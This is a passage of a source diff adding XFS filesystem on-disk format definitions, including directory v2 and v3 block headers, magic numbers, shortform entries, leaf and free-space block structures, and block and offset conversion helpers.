element of this structure is the struct xfs_da_blkinfo so it can + * ignore the differences in the rest of the structures. + */ + struct xfs_da_blkinfo hdr; + __be32 crc; /* CRC of block */ + __be64 blkno; /* first block of the buffer */ + __be64 lsn; /* sequence number of last write */ + uuid_t uuid; /* filesystem we belong to */ + __be64 owner; /* inode that owns the block */ +}; + +/* + * This is the structure of the root and intermediate nodes in the Btree. + * The leaf nodes are defined above. + * + * Entries are not packed. + * + * Since we have duplicate keys, use a binary search but always follow + * all match in the block, not just the first match found. + */ +#define XFS_DA_NODE_MAXDEPTH 5 /* max depth of Btree */ + +typedef struct xfs_da_node_hdr { + struct xfs_da_blkinfo info; /* block type, links, etc. */ + __be16 __count; /* count of active entries */ + __be16 __level; /* level above leaves (leaf == 0) */ +} xfs_da_node_hdr_t; + +struct xfs_da3_node_hdr { + struct xfs_da3_blkinfo info; /* block type, links, etc. */ + __be16 __count; /* count of active entries */ + __be16 __level; /* level above leaves (leaf == 0) */ + __be32 __pad32; +}; + +#define XFS_DA3_NODE_CRC_OFF (offsetof(struct xfs_da3_node_hdr, info.crc)) + +typedef struct xfs_da_node_entry { + __be32 hashval; /* hash value for this descendant */ + __be32 before; /* Btree block before this key */ +} xfs_da_node_entry_t; + +typedef struct xfs_da_intnode { + struct xfs_da_node_hdr hdr; + struct xfs_da_node_entry __btree[]; +} xfs_da_intnode_t; + +struct xfs_da3_intnode { + struct xfs_da3_node_hdr hdr; + struct xfs_da_node_entry __btree[]; +}; + +/* + * In-core version of the node header to abstract the differences in the v2 and + * v3 disk format of the headers. Callers need to convert to/from disk format as + * appropriate. + */ +struct xfs_da3_icnode_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t level; +}; + +extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); +extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + +static inline int +__xfs_da3_node_hdr_size(bool v3) +{ + if (v3) + return sizeof(struct xfs_da3_node_hdr); + return sizeof(struct xfs_da_node_hdr); +} +static inline int +xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) +{ + bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); + + return __xfs_da3_node_hdr_size(v3); +} + +static inline struct xfs_da_node_entry * +xfs_da3_node_tree_p(struct xfs_da_intnode *dap) +{ + if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { + struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; + return dap3->__btree; + } + return dap->__btree; +} + +extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, + struct xfs_da_intnode *from); +extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, + struct xfs_da3_icnode_hdr *from); + +#define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize + +/* + * Directory version 2. + * + * There are 4 possible formats: + * - shortform - embedded into the inode + * - single block - data with embedded leaf at the end + * - multiple data blocks, single leaf+freeindex block + * - data blocks, node and leaf blocks (btree), freeindex blocks + * + * Note: many node blocks structures and constants are shared with the attr + * code and defined in xfs_da_btree.h. + */ + +#define XFS_DIR2_BLOCK_MAGIC 0x58443242 /* XD2B: single block dirs */ +#define XFS_DIR2_DATA_MAGIC 0x58443244 /* XD2D: multiblock dirs */ +#define XFS_DIR2_FREE_MAGIC 0x58443246 /* XD2F: free index blocks */ + +/* + * Directory Version 3 With CRCs. + * + * The tree formats are the same as for version 2 directories. The difference + * is in the block header and dirent formats. In many cases the v3 structures + * use v2 definitions as they are no different and this makes code sharing much + * easier. + * + * Also, the xfs_dir3_*() functions handle both v2 and v3 formats - if the + * format is v2 then they switch to the existing v2 code, or the format is v3 + * they implement the v3 functionality. This means the existing dir2 is a mix of + * xfs_dir2/xfs_dir3 calls and functions. The xfs_dir3 functions are called + * where there is a difference in the formats, otherwise the code is unchanged. + * + * Where it is possible, the code decides what to do based on the magic numbers + * in the blocks rather than feature bits in the superblock. This means the code + * is as independent of the external XFS code as possible as doesn't require + * passing struct xfs_mount pointers into places where it isn't really + * necessary. + * + * Version 3 includes: + * + * - a larger block header for CRC and identification purposes and so the + * offsets of all the structures inside the blocks are different. + * + * - new magic numbers to be able to detect the v2/v3 types on the fly. + */ + +#define XFS_DIR3_BLOCK_MAGIC 0x58444233 /* XDB3: single block dirs */ +#define XFS_DIR3_DATA_MAGIC 0x58444433 /* XDD3: multiblock dirs */ +#define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ + +/* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* + * Byte offset in data block and shortform entry. + */ +typedef __uint16_t xfs_dir2_data_off_t; +#define NULLDATAOFF 0xffffU +typedef uint xfs_dir2_data_aoff_t; /* argument form */ + +/* + * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. + * Only need 16 bits, this is the byte offset into the single block form. + */ +typedef struct { __uint8_t i[2]; } __arch_pack xfs_dir2_sf_off_t; + +/* + * Offset in data space of a data entry. + */ +typedef __uint32_t xfs_dir2_dataptr_t; +#define XFS_DIR2_MAX_DATAPTR ((xfs_dir2_dataptr_t)0xffffffff) +#define XFS_DIR2_NULL_DATAPTR ((xfs_dir2_dataptr_t)0) + +/* + * Byte offset in a directory. + */ +typedef xfs_off_t xfs_dir2_off_t; + +/* + * Directory block number (logical dirblk in file) + */ +typedef __uint32_t xfs_dir2_db_t; + +/* + * Inode number stored as 8 8-bit values. + */ +typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; + +/* + * Inode number stored as 4 8-bit values. + * Works a lot of the time, when all the inode numbers in a directory + * fit in 32 bits. + */ +typedef struct { __uint8_t i[4]; } xfs_dir2_ino4_t; + +typedef union { + xfs_dir2_ino8_t i8; + xfs_dir2_ino4_t i4; +} xfs_dir2_inou_t; +#define XFS_DIR2_MAX_SHORT_INUM ((xfs_ino_t)0xffffffffULL) + +/* + * Directory layout when stored internal to an inode. + * + * Small directories are packed as tightly as possible so as to fit into the + * literal area of the inode. These "shortform" directories consist of a + * single xfs_dir2_sf_hdr header followed by zero or more xfs_dir2_sf_entry + * structures. Due the different inode number storage size and the variable + * length name field in the xfs_dir2_sf_entry all these structure are + * variable length, and the accessors in this file should be used to iterate + * over them. + */ +typedef struct xfs_dir2_sf_hdr { + __uint8_t count; /* count of entries */ + __uint8_t i8count; /* count of 8-byte inode #s */ + xfs_dir2_inou_t parent; /* parent dir inode number */ +} __arch_pack xfs_dir2_sf_hdr_t; + +typedef struct xfs_dir2_sf_entry { + __u8 namelen; /* actual name length */ + xfs_dir2_sf_off_t offset; /* saved offset */ + __u8 name[]; /* name, variable size */ + /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * + * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a + * variable offset after the name. + */ +} __arch_pack xfs_dir2_sf_entry_t; + +static inline int xfs_dir2_sf_hdr_size(int i8count) +{ + return sizeof(struct xfs_dir2_sf_hdr) - + (i8count == 0) * + (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) +{ + return get_unaligned_be16(&sfep->offset.i); +} + +static inline void +xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) +{ + put_unaligned_be16(off, &sfep->offset.i); +} + +static inline struct xfs_dir2_sf_entry * +xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); +} + +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + +static inline struct xfs_dir2_sf_entry * +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (struct xfs_dir2_sf_entry *) + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); +} + +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} + +/* + * Data block structures. + * + * A pure data block looks like the following drawing on disk: + * + * +-------------------------------------------------+ + * | xfs_dir2_data_hdr_t | + * +-------------------------------------------------+ + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | ... | + * +-------------------------------------------------+ + * | unused space | + * +-------------------------------------------------+ + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + * + * In addition to the pure data blocks for the data and node formats, + * most structures are also used for the combined data/freespace "block" + * format below. + */ + +#define XFS_DIR2_DATA_ALIGN_LOG 3 /* i.e., 8 bytes */ +#define XFS_DIR2_DATA_ALIGN (1 << XFS_DIR2_DATA_ALIGN_LOG) +#define XFS_DIR2_DATA_FREE_TAG 0xffff +#define XFS_DIR2_DATA_FD_COUNT 3 + +/* + * Directory address space divided into sections, + * spaces separated by 32GB. + */ +#define XFS_DIR2_SPACE_SIZE (1ULL << (32 + XFS_DIR2_DATA_ALIGN_LOG)) +#define XFS_DIR2_DATA_SPACE 0 +#define XFS_DIR2_DATA_OFFSET (XFS_DIR2_DATA_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_DATA_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_DATA_OFFSET) + +/* + * Describe a free area in the data block. + * + * The freespace will be formatted as a xfs_dir2_data_unused_t. + */ +typedef struct xfs_dir2_data_free { + __be16 offset; /* start of freespace */ + __be16 length; /* length of freespace */ +} xfs_dir2_data_free_t; + +/* + * Header for the data blocks. + * + * The code knows that XFS_DIR2_DATA_FD_COUNT is 3. + */ +typedef struct xfs_dir2_data_hdr { + __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ + /* XFS_DIR2_BLOCK_MAGIC */ + xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; +} xfs_dir2_data_hdr_t; + +/* + * define a structure for all the verification fields we are adding to the + * directory block structures. This will be used in several structures. + * The magic number must be the first entry to align with all the dir2 + * structures so we determine how to decode them just by the magic number. + */ +struct xfs_dir3_blk_hdr { + __be32 magic; /* magic number */ + __be32 crc; /* CRC of block */ + __be64 blkno; /* first block of the buffer */ + __be64 lsn; /* sequence number of last write */ + uuid_t uuid; /* filesystem we belong to */ + __be64 owner; /* inode that owns the block */ +}; + +struct xfs_dir3_data_hdr { + struct xfs_dir3_blk_hdr hdr; + xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; + __be32 pad; /* 64 bit alignment */ +}; + +#define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) + +static inline struct xfs_dir2_data_free * +xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) +{ + if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { + struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; + return hdr3->best_free; + } + return hdr->bestfree; +} + +/* + * Active entry in a data block. + * + * Aligned to 8 bytes. After the variable length name field there is a + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. + */ +typedef struct xfs_dir2_data_entry { + __be64 inumber; /* inode number */ + __u8 namelen; /* name length */ + __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ + /* __be16 tag; */ /* starting offset of us */ +} xfs_dir2_data_entry_t; + +/* + * Unused entry in a data block. + * + * Aligned to 8 bytes. Tag appears as the last 2 bytes and must be accessed + * using xfs_dir2_data_unused_tag_p. + */ +typedef struct xfs_dir2_data_unused { + __be16 freetag; /* XFS_DIR2_DATA_FREE_TAG */ + __be16 length; /* total free length */ + /* variable offset */ + __be16 tag; /* starting offset of us */ +} xfs_dir2_data_unused_t; + +/* + * Size of a data entry. + */ +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) +{ + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; +} + +/* + * Pointer to an entry's tag word. + */ +static inline __be16 * +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + return (__be16 *)((char *)dep + + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); +} + +/* + * Pointer to a freespace's tag word. + */ +static inline __be16 * +xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) +{ + return (__be16 *)((char *)dup + + be16_to_cpu(dup->length) - sizeof(__be16)); +} + +static inline size_t +xfs_dir3_data_hdr_size(bool dir3) +{ + if (dir3) + return sizeof(struct xfs_dir3_data_hdr); + return sizeof(struct xfs_dir2_data_hdr); +} + +static inline size_t +xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) +{ + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_hdr_size(dir3); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); +} + +static inline struct xfs_dir2_data_unused * +xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_unused *) + ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); +} + +/* + * Offsets of . and .. in data space (always block 0) + * + * The macros are used for shortform directories as they have no headers to read + * the magic number out of. Shortform directories need to know the size of the + * data block header because the sfe embeds the block offset of the entry into + * it so that it doesn't change when format conversion occurs. Bad Things Happen + * if we don't follow this rule. + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. + */ +#define XFS_DIR3_DATA_DOT_OFFSET(mp) \ + xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) +#define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ + (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) +#define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ + (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) +{ + return xfs_dir3_data_entry_offset(hdr); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) +{ + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 1); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) +{ + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dotdot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 2); +} + +/* + * location of . and .. in data space (always block 0) + */ +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_dot_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dot_offset(hdr)); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_dotdot_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dotdot_offset(hdr)); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_first_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_first_offset(hdr)); +} + +/* + * Leaf block structures. + * + * A pure leaf block looks like the following drawing on disk: + * + * +---------------------------+ + * | xfs_dir2_leaf_hdr_t | + * +---------------------------+ + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | ... | + * +---------------------------+ + * | xfs_dir2_data_off_t | + * | xfs_dir2_data_off_t | + * | xfs_dir2_data_off_t | + * | ... | + * +---------------------------+ + * | xfs_dir2_leaf_tail_t | + * +---------------------------+ + * + * The xfs_dir2_data_off_t members (bests) and tail are at the end of the block + * for single-leaf (magic = XFS_DIR2_LEAF1_MAGIC) blocks only, but not present + * for directories with separate leaf nodes and free space blocks + * (magic = XFS_DIR2_LEAFN_MAGIC). + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + */ + +/* + * Offset of the leaf/node space. First block in this space + * is the btree root. + */ +#define XFS_DIR2_LEAF_SPACE 1 +#define XFS_DIR2_LEAF_OFFSET (XFS_DIR2_LEAF_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_LEAF_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_LEAF_OFFSET) + +/* + * Leaf block header. + */ +typedef struct xfs_dir2_leaf_hdr { + xfs_da_blkinfo_t info; /* header for da routines */ + __be16 count; /* count of entries */ + __be16 stale; /* count of stale entries */ +} xfs_dir2_leaf_hdr_t; + +struct xfs_dir3_leaf_hdr { + struct xfs_da3_blkinfo info; /* header for da routines */ + __be16 count; /* count of entries */ + __be16 stale; /* count of stale entries */ + __be32 pad; /* 64 bit alignment */ +}; + +struct xfs_dir3_icleaf_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t stale; +}; + +/* + * Leaf block entry. + */ +typedef struct xfs_dir2_leaf_entry { + __be32 hashval; /* hash value of name */ + __be32 address; /* address of data entry */ +} xfs_dir2_leaf_entry_t; + +/* + * Leaf block tail. + */ +typedef struct xfs_dir2_leaf_tail { + __be32 bestcount; +} xfs_dir2_leaf_tail_t; + +/* + * Leaf block. + */ +typedef struct xfs_dir2_leaf { + xfs_dir2_leaf_hdr_t hdr; /* leaf header */ + xfs_dir2_leaf_entry_t __ents[]; /* entries */ +} xfs_dir2_leaf_t; + +struct xfs_dir3_leaf { + struct xfs_dir3_leaf_hdr hdr; /* leaf header */ + struct xfs_dir2_leaf_entry __ents[]; /* entries */ +}; + +#define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) + +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); + +static inline int +xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) + return sizeof(struct xfs_dir3_leaf_hdr); + return sizeof(struct xfs_dir2_leaf_hdr); +} + +static inline int +xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) +{ + return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / + (uint)sizeof(struct xfs_dir2_leaf_entry); +} + +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline struct xfs_dir2_leaf_entry * +xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { + struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; + return lp3->__ents; + } + return lp->__ents; +} + +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline struct xfs_dir2_leaf_tail * +xfs_dir2_leaf_tail_p(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) +{ + return (struct xfs_dir2_leaf_tail *) + ((char *)lp + mp->m_dirblksize - + sizeof(struct xfs_dir2_leaf_tail)); +} + +/* + * Get address of the bests array in the single-leaf block. + */ +static inline __be16 * +xfs_dir2_leaf_bests_p(struct xfs_dir2_leaf_tail *ltp) +{ + return (__be16 *)ltp - be32_to_cpu(ltp->bestcount); +} + +/* + * DB blocks here are logical directory block numbers, not filesystem blocks. + */ + +/* + * Convert dataptr to byte in file space + */ +static inline xfs_dir2_off_t +xfs_dir2_dataptr_to_byte(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return (xfs_dir2_off_t)dp << XFS_DIR2_DATA_ALIGN_LOG; +} + +/* + * Convert byte in file space to dataptr. It had better be aligned. + */ +static inline xfs_dir2_dataptr_t +xfs_dir2_byte_to_dataptr(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_dataptr_t)(by >> XFS_DIR2_DATA_ALIGN_LOG); +} + +/* + * Convert byte in space to (DB) block + */ +static inline xfs_dir2_db_t +xfs_dir2_byte_to_db(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_db_t) + (by >> (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)); +} + +/* + * Convert dataptr to a block number + */ +static inline xfs_dir2_db_t +xfs_dir2_dataptr_to_db(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return xfs_dir2_byte_to_db(mp, xfs_dir2_dataptr_to_byte(mp, dp)); +} + +/* + * Convert byte in space to offset in a block + */ +static inline xfs_dir2_data_aoff_t +xfs_dir2_byte_to_off(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_data_aoff_t)(by & + ((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) - 1)); +} + +/* + * Convert dataptr to a byte offset in a block + */ +static inline xfs_dir2_data_aoff_t +xfs_dir2_dataptr_to_off(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return xfs_dir2_byte_to_off(mp, xfs_dir2_dataptr_to_byte(mp, dp)); +} + +/* + * Convert block and offset to byte in space + */ +static inline xfs_dir2_off_t +xfs_dir2_db_off_to_byte(struct xfs_mount *mp, xfs_dir2_db_t db, + xfs_dir2_data_aoff_t o) +{ + return ((xfs_dir2_off_t)db << + (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) + o; +} + +/* + * Convert block (DB) to block (dablk) + */ +static inline xfs_dablk_t +xfs_dir2_db_to_da(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return (xfs_dablk_t)(db << mp->m_sb.sb_dirblklog); +} + +/* + * Convert byte in space to (DA) block + */ +static inline xfs_dablk_t +xfs_dir2_byte_to_da(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return xfs_dir2_db_to_da(mp, xfs_dir2_byte_to_db(mp, by)); +} + +/* + * Convert block and offset to dataptr + */ +static inline xfs_dir2_dataptr_t +xfs_dir2_db_off_to_dataptr(struct xfs_mount *mp, xfs_dir2_db_t db, + xfs_dir2_data_aoff_t o) +{ + return xfs_dir2_byte_to_dataptr(mp, xfs_dir2_db_off_to_byte(mp, db, o)); +} + +/* + * Convert block (dablk) to block (DB) + */ +static inline xfs_dir2_db_t +xfs_dir2_da_to_db(struct xfs_mount *mp, xfs_dablk_t da) +{ + return (xfs_dir2_db_t)(da >> mp->m_sb.sb_dirblklog); +} + +/* + * Convert block (dablk) to byte offset in space + */ +static inline xfs_dir2_off_t +xfs_dir2_da_to_byte(struct xfs_mount *mp, xfs_dablk_t da) +{ + return xfs_dir2_db_off_to_byte(mp, xfs_dir2_da_to_db(mp, da), 0); +} + +/* + * Free space block defintions for the node format. + */ + +/* + * Offset of the freespace index. + */ +#define XFS_DIR2_FREE_SPACE 2 +#define XFS_DIR2_FREE_OFFSET (XFS_DIR2_FREE_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_FREE_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_FREE_OFFSET) + +typedef struct xfs_dir2_free_hdr { + __be32 magic; /* XFS_DIR2_FREE_MAGIC */ + __be32 firstdb; /* db of first entry */ + __be32 nvalid; /* count of valid entries */ + __be32 nused; /* count of used entries */ +} xfs_dir2_free_hdr_t; + +typedef struct xfs_dir2_free { + xfs_dir2_free_hdr_t hdr; /* block header */ + __be16 bests[]; /* best free counts */ + /* unused entries are -1 */ +} xfs_dir2_free_t; + +struct xfs_dir3_free_hdr { + struct xfs_dir3_blk_hdr hdr; + __be32 firstdb; /* db of first entry */ + __be32 nvalid; /* count of valid entries */ + __be32 nused; /* count of used entries */ + __be32 pad; /* 64 bit alignment */ +}; + +struct xfs_dir3_free { + struct xfs_dir3_free_hdr hdr; + __be16 bests[]; /* best free counts */ + /* unused entries are -1 */ +}; + +#define XFS_DIR3_FREE_CRC_OFF offsetof(struct xfs_dir3_free, hdr.hdr.crc) + +/* + * In core version of the free block header, abstracted away from on-disk format + * differences. Use this in the code, and convert to/from the disk version using + * xfs_dir3_free_hdr_from_disk/xfs_dir3_free_hdr_to_disk. + */ +struct xfs_dir3_icfree_hdr { + __uint32_t magic; + __uint32_t firstdb; + __uint32_t nvalid; + __uint32_t nused; + +}; + +void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, + struct xfs_dir2_free *from); + +static inline int +xfs_dir3_free_hdr_size(struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return sizeof(struct xfs_dir3_free_hdr); + return sizeof(struct xfs_dir2_free_hdr); +} + +static inline int +xfs_dir3_free_max_bests(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / + sizeof(xfs_dir2_data_off_t); +} + +static inline __be16 * +xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) +{ + return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); +} + +/* + * Convert data space db to the corresponding free db. + */ +static inline xfs_dir2_db_t +xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); +} + +/* + * Convert data space db to the 